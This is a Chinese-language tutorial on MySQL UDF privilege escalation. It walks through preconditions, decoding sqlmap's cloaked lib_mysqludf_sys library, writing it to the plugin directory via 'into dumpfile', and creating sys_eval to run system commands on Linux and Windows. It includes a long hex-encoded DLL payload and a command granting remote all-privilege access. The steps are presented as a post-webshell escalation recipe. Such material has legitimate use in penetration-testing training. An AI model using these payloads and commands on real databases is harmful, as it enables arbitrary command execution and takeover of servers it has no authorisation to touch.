漏洞介绍

UDF（ user defined function ）用户自定义函数，是 MySQL 的一个扩展接口，称为用户自定义函数,是用来拓展 MySQL 的技术手段，用户通过自定义函数来实现在 MySQL 中无法实现的功能。文件后缀为 .dll 或 .so ，常用 c 语言编写。拿到一个 WebShell 之后，在利用操作系统本身存在的漏洞提权的时候发现补丁全部被修补。这个时候需要利用第三方应用提权。当 MYSQL ==权限比较高== 的时候我们就可以利用 udf 提权。

udf 提权本质上并不是真正意义上的提权，只是通过当前 mysql的运行权限 去执行系统命令，如果mysql 运行权限太低的话同样也没有特别大的意义！！！

利用前提

mysql 允许导入导出文件，也就是 secure_file_priv 的值为空（为空不是为 NULL ）
高权限用户启动，如 root 。该账号需要有对数据库 mysql 的 insert 和 delete 权限，其实是操作里面的func 表，所以 func 表也必须存在。而且这样才能有权限写入文件到目标文件夹中，不然大概率写不进去。
未开启 ‑‑skip‑grant‑tables 。开启的情况下，UDF 不会被加载，默认不开启。

secure_file_priv 是用来限制 load dumpfile 、into outfile 、load_file() 函数在哪个目录下拥有上传或者读取文件的权限。

当 secure_file_priv 的值为 null ，表示限制 mysqld 不允许导入|导出，此时无法提权；
当 secure_file_priv 的值为 /tmp/ ，表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下，此时也无法提权；
当 secure_file_priv 的值没有具体值时，表示不对 mysqld 的导入|导出做限制，此时可提权。

在 mysql5.5 版本之前 secure_file_priv 这个值是默认为空的，那么我们拿到的 webshell 如果对应的 mysql 数据库版本在 5.5 以下的话操作起来就比较方便，在 mysql5.5 版本之后 secure_file_priv 这个值是默认为 NULL 的，即不能够在数据库中导入导出文件。

此外，MySQL 的默认启动用户是 mysql ，因此其权限比较低，需要运维配置错误给 MySQL 的启动用户过高的权限此漏洞才能利用成功。

漏洞复现

linux

漏洞环境搭建

首先最基本的是要开启 MySQL 允许外部连接。

1 2	# 这个版本的MySQL的secure_file_priv默认为null，也就是不允许写入，导出文件的，因此我们需要在MySQL的配置文件my.ini中修改 mysql 5.5.62

1 2	# 查看secure_file_priv的配置 show global variables like "%secure%";

默认为 NULL ，因此为了复现漏洞，我们需要修改这里的参数。

参数通过 my.cnf 文件中修改。

同时我们还有修改 MySQL 的启动用户，以 root 用户高权限身份启动 MySQL ，后面才能将 udf.so 上传到 MySQL 的 plugin 目录。

修改后要重启 MySQL 。

漏洞利用

判断漏洞利用前提条件

当我们拿到 MySQL 的控制权后，先通过 show variables like "%secure_file_priv%"; 命令查看是否允许导入导出文件。

再通过 select * from mysql.user where user = substring_index(user(), '@', 1); 查看当前数据库是否高权限。

上传UDF库文件

先通过 select @@basedir; 命令获取 MySQL 的安装目录。

再通过 show variables like "%plugin%"; 命令获取 plugin 的路径。

再通过 select @@version_compile_os, @@version_compile_machine; 命令来查看目标机器的架构情况，依此来选择上传什么版本的 UDF 库文件到目标机器。

再准备 UDF 库文件。

从 sqlmap 中获取

sqlmap 中有现成的 udf 文件。分别是 32 位和 64 位的。这里选择sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ 。

不过这里的 so 文件是异或过的，需要执行以下命令解密：

1 2	cd /usr/share/sqlmap/extra/cloak/ python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_

此时会在和原本 so 文件相同的目录生成解密后的 lib_mysqludf_sys.so 文件。

上传 UDF 文件到 MySQL 的插件目录中（要么是 show variables like "%plugin%" 返回的结果，要么是 select @@basedir; 的结果加上 /lib/plugin ，通过 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'; 的报错信息来获取应该上传到哪个目录。）

如果没有这个目录，就自己手动创建一个目录。

通过下面的命令上传文件。

1	select load_file('/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so') into dumpfile '/usr/local/mysql/lib/plugin/udf.so'

但是 load_file 大概率无法正确返回 so 文件的结果，为了解决这个问题，我们可以手动复制这个文件的十六进制内容来手工导入。

我们可以通过 xxd 命令来获取二进制文件的十六进制表示，-p 参数表示只显示十六进制的内容，不显示其它信息。

1	xxd -p /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so

linux-x64 payload 如下：

select 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into dumpfile '/usr/local/mysql/lib/plugin/udf.so';

然后就可以通过 so 文件加载外部函数，然后利用外部函数调用系统命令了。

1 2	CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'; select sys_eval('whoami');

windows

漏洞环境搭建

和 linux 基本类似，但是需要注意的是 windows 的 phpstudy 不能直接开放 MySQL 外部连接，需要使用下面的命令。

1 2	grant all privileges on . to 自己的用户名@'%' identified by '密码'; flush privileges;

然后就可以外部连接本机的 MySQL 了。

然后依旧是需要保持 secure_file_priv 的值为空。（不过这个版本 5.5.29 的 MySQL 的这个属性默认就是空的。）

漏洞利用

还是先信息收集。

select @@basedir;
show variables like "%plugin%";
select @@version_compile_os, @@version_compile_machine;
show variables like "%secure%";

然后在 kali 的 sqlmap 中获取 windows-x64 版本的 udf 文件。

1 2	cd /usr/share/sqlmap/extra/cloak/ python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

再通过 xxd 命令获取 payload 。

windows-x64 的 payload 如下：

select 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000677cbfda231dd189231dd189231dd18904dbbf89211dd18904dbbc892a1dd18904dbaa89261dd189231dd0890f1dd18904dbac89211dd18904dba089221dd18904dbab89221dd18904dba989221dd18952696368231dd189000000000000000000000000000000005045000064860300a727a15a0000000000000000f00022200b020800002000000010000000800000109f000000900000000000100000000000100000000200000400000000000000050002000000000000c000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098b2000008020000b0b10000e800000000b00000b00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000e0555058310000000000200000009000000012000000040000000000000000000000000000400000e02e727372630000000010000000b000000006000000160000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d240209e1e421439d3bdfb7de7400000f0f0000002a0000490000d41de9feff833a007450488b05a421000049890009a24008cd4973d20a9f109c1899cd9f34272096280fb70593666d83fdb7410b30b001c332c0c3cc00c215cc92c9ba810034716a6febcc16e46c096a471853fdbf1fa4631c0fb605591688401e41c7011e00ffed6dd62b8b63bf01750f3f42088338007506c64b26ebdc01017b4e2d632b05b9e4b228ce25227ed20cd26f1f28152ab001c3f66d7bc2bf83ec38344a43895c243084b7fff6dbd90b09ff15c71f2b4885c04c8bd87512104c24df6eaeb9608707202dc4388e897c242873edcdfd33c048c7c1ff0033fbf2ae1c120976d9b75b1af7d122e901890b2dcc00be6feb166f28e3026e404848deda7fdb29f938d87459488d0d40ee4e0e813832983de4c1eb81403281480a9ee4435e4f81503281543281563261f37d4fb0018c48804028c34c49467607744e61deed584917e49260680a703c6527cd18782056c740045cf8bf33b64342188b48048b008d4c010239bd1e77d27d8bd947107543706d8045ec1be936130309884370900a00b69dee10c8980a18bc0cb3c6b00e07103fbcb37ddb0f49a585c974066f5d17b7086d21cf93cf047424ada3b9772d7110448b6949e2fa02c2eddfba52e2ce0212498d5c3001e83f0ffce85cd7fddd5febcb418b03c60430d2470d5734b70c58d7e22d0822d34313167bb75bce2618007ca01cff56677c84842f7198f4cf16c64373870d087c8c03d6e4240f79561e541e511e7292939c4e1e4b1e481e63c2425e3e1e1fcf2784ee87c71f1da0981f4c89c68685ee44241824580f6c59897486bb86db76381764bdb900d34c18284cb0db7e302d4d8bf146e8e7b901ee9b6dc1ec04e00dda4533ed4488670beef69b4ff04c39290f8413050673f215fdcfb8b9169125ac1c088be8747b418d5508e1c9b6b13ac0e6cc177c7466a04b6640fa50669047fc3f42858e1b0b9529328d7936ce6f7d61c16c304375cd8cc74803c8f56636b724d470143e51c5ba08e1d9b68d39cc1ceb13225975ad886cdbb6f050eb258bc77004cd1930ddfe9cdb803e30e2154874229245ffb176d8827811fef5887edd4d174ebe5a0eebc18424805ec606e71ada0001380c4c38f12a10f8386c04c6f0a0581a87e792317fd3dc5cd8d6d09d58747a28f2023f73b773df3e448d48406e41b80010b3748bd1f10df7c7ed33c9ab441a5356104cefa2dbe6b66c02c8d8154e1b8d54b94c350aede98d054a75890ba3b16e3b2dbc3133d2c7d0208925183bdf19b7b3bad2c80df2199d30ac581e29eb081433c0922fb384f13be0064ceb0033c029001bb0dfb65538ec024510ff10c9196600fb6f7f6c900390483b0d89293f751148c1c11066f7dddd6fdfb87502f3dac1c910e9150aeccc405361203b8b7d1b5801a05fdcd25b0bfbeef7f685dbc905112fd005020675098d430185bb76efb6205b42c703d59b0d3c48b406634136670b1c5805b12006615bd85bc3cf55d27f6cc7c7c376fc608468e140dcfbf1c2c63831e83be141bdd20f8503ee46bb7408075ee428073c0f8e0d8de6b61b6e2bc58ed3105fdcfd3e76fb0fb12d602e0a741ef290b9e803c91d19bfdb36931d4275e841320783f802740fb9ef6dc3b31fb70eca0208e2ed0d2f2e338e740fd2111912f874491412fc18dadc0b1fd958f847df72165f1803b6bb2d701e4ad0c9eb081573ed12ecf6bedbcf2774192d06429bd72d0698fbfb66d833db891db80e871db906716fc7feb59806e5413bd5dde26541042530bb7dbbbd002c0978081e8bf3f048b93d883072b0b7920a63c7741ad64618d7d29b2f1c6b75e3eb037bf5a79a5ed6390c950cdaeb3fea1f9f7db7f08e8f080644892d312d1bc485c0678fed62771a15e5de0dd6181abe7fddbbeec7050725024585f67507b404bb833d14ddc96e73068b212a0b2d5c6f11dedd264fe3029cf12c66012d3a273e9e9ebe10c58f38d240e468ec98717a60dce91748c3b14d22190f6c20483a5adbf308505851f0dd05bbee77df3d041f208915d12695d275133915d709ed7f38c3750b5a17c61e83fa017405040add6be00275338931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into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.5.29/lib/plugin/udf.dll';

然后执行下面的命令就可以成功提权了。

# 注意这里如果找不到这个文件，报错和linux不一样
# windows会报错：ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 126 )
# 而不是报错找不到这个文件
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');

windows利用和linux的不同

Linux 的用户权限划分比较严格，因此需要运维人员配置错误 MySQL 的启动权限比较高才能利用成功。而 windows 用户权限划分比较宽松，默认的启动权限就可以利用成功。

还有上面在没有找到 udf 文件的情况下，两个系统的报错信息也不同，Linux 会报错显示出目标 udf 文件不存在，并且显示出了插件库正确应当存放的路径，而 windows 只会报错显示无法打开这个文件，不会显示插件库的具体路径，但是还是可以通过 show variables like "%plugin%"; 来泄露插件库的存放路径。

参考文章

https://github.com/SEC-GO/Red-vs-Blue/blob/master/linux%E7%8E%AF%E5%A2%83%E4%B8%8B%E7%9A%84MySQL%20UDF%E6%8F%90%E6%9D%83.md
https://juejin.cn/post/7100562573254213668#heading-16
https://www.cnblogs.com/mrhonest/p/10836621.html
https://www.cnblogs.com/miansj/p/13996110.html
https://blog.csdn.net/qq_44159028/article/details/121193134
https://www.freebuf.com/vuls/348300.html
https://blog.csdn.net/whatday/article/details/102807541
https://www.sqlsec.com/2020/11/mysql.html#%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93
https://blog.51cto.com/u_16175511/6673705
https://www.sqlsec.com/tools/udf.html